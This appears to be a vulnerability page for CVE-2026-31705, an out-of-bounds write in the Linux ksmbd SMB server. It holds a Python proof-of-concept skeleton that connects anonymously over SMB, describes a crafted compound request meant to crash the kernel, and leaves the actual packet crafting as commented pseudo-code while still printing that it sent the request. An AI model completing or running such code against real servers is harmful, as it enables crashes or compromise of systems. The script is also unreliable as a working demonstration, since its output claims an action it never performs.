CVE-2026-31705 ksmbd越界写入漏洞

/* * PoC Concept for CVE-2026-31705 * This script demonstrates how to trigger the OOB write by sending * a compound SMB request designed to exhaust the buffer space. * Requires impacket library. */ from impacket.smbconnection import SMBConnection from impacket.smb3structs import * import sys def trigger_oob(target, port=445): """Attempts to trigger the ksmbd OOB write vulnerability.""" # 1. Establish connection try: conn = SMBConnection(remoteName=target, remoteHost=target, sessPort=port) conn.login('', '') except Exception as e: print(f"[!] Connection failed: {e}") return print(f"[*] Connected to {target}") # 2. Setup Tree Connect tid = conn.connectTree('IPC$') # 3. Construct Compound Request # We need a READ command to consume buffer space, followed by QUERY_INFO # with a specific EA size to trigger buf_free_len == 0 condition. # Note: Actual offset calculation requires knowing the server's buffer size, # which is often 65535 or similar. This is a conceptual representation. # Packet 1: Large READ to consume buffer # Packet 2: QUERY_INFO with crafted EA # In a real exploit, you would manually craft the SMB2 packets bytes # to align the buffer precisely. print("[*] Sending malicious compound request...") # conn.sendCompound(...) - Pseudo-code for the actual packet crafting # 4. If successful, the server should crash due to Kernel OOB print("[*] Check server for crash/PoC verification.") conn.disconnect() if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_ip>") else: trigger_oob(sys.argv[1])